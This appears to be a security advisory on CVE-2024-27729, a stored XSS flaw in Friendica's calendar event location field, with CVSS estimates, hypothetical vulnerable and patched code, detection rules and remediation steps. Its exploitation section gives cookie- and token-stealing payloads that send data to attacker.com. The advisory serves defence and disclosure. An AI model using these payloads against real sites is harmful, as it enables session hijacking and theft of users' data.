CVE-2024-27729

Executive Summary

CVE-2024-27729 is a Cross-Site Scripting (XSS) vulnerability discovered in Friendica version 2023.12. The flaw resides in the calendar event feature, specifically within the location parameter. A remote attacker can exploit this vulnerability to inject malicious scripts, leading to the theft of sensitive information such as session cookies, authentication tokens, or user data. The vulnerability is publicly known, but no official patch has been released as of the time of analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched instances.

Supply Chain & Package Security

Friendica is a PHP-based decentralized social network. The vulnerability affects the core application code, not a third-party package. However, administrators should verify the integrity of their Friendica installation and ensure no malicious modifications have been made.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – the victim must view the crafted event
• Scope (S): Changed (C) – the injected script can affect other components
• Confidentiality (C): High (H)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant data theft.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The location parameter in the calendar event feature is not properly sanitized or encoded before being rendered in the browser. An attacker can create a calendar event with a malicious payload in the location field, such as:

<script>alert(document.cookie)</script>

When another user views the event, the script executes in their browser context, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

The root cause is insufficient output encoding. The application likely uses echo $location; or similar without applying htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Friendica 2023.12):

// In calendar event view
echo "<div class='event-location'>" . $event['location'] . "</div>";

Patched Code (Hypothetical):

// Properly escape output
echo "<div class='event-location'>" . htmlspecialchars($event['location'], ENT_QUOTES, 'UTF-8') . "</div>";

The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Friendica instance running version 2023.12
• Ability to create calendar events (any authenticated user)

Exploit Steps:

1. Log in to Friendica.
2. Navigate to the calendar and create a new event.
3. In the location field, enter the following payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

4. Save the event.
5. Share the event link with the victim.
6. When the victim views the event, their cookies are sent to the attacker's server.

Alternative Payload (Steal CSRF Token):

<img src=x onerror="fetch('/api/account/verify_credentials').then(r=>r.text()).then(t=>fetch('https://attacker.com/token?data='+t))">

Blue Team

Detection:

• Monitor for unusual calendar event creation with suspicious location fields.
• Use WAF rules to block common XSS patterns in POST parameters.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding.
• Use a web application firewall (WAF) to filter malicious payloads.
• Educate users about the risks of clicking on untrusted calendar events.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie data.
• Logs: Calendar event creation with location fields containing <script>, <img>, or other HTML tags.
• File: Modified Friendica source files (if attacker gained access).
• Behavior: Unexpected redirects or pop-ups when viewing calendar events.

Detection Engineering

YARA Rule

rule CVE_2024_27729_XSS {
    meta:
        description = "Detects XSS payloads in Friendica calendar event location field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27729"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Friendica Calendar Event XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts in Friendica calendar event location parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/calendar/event*'
        cs-uri-query|contains: 'location='
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of location names containing special characters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27729 Friendica Calendar XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/calendar/event"; http_uri; content:"location="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the calendar event feature if not essential.
2. Patch: Apply the hypothetical patch by adding htmlspecialchars() to the location output.
3. Workaround: Use a WAF to block XSS payloads in the location parameter.
4. Monitoring: Enable logging and alerting for suspicious calendar event creation.
5. User Education: Warn users about the risks of viewing calendar events from untrusted sources.
6. Update: Monitor Friendica's official channels for a security patch.

Valters IT
Securing Digital Frontiers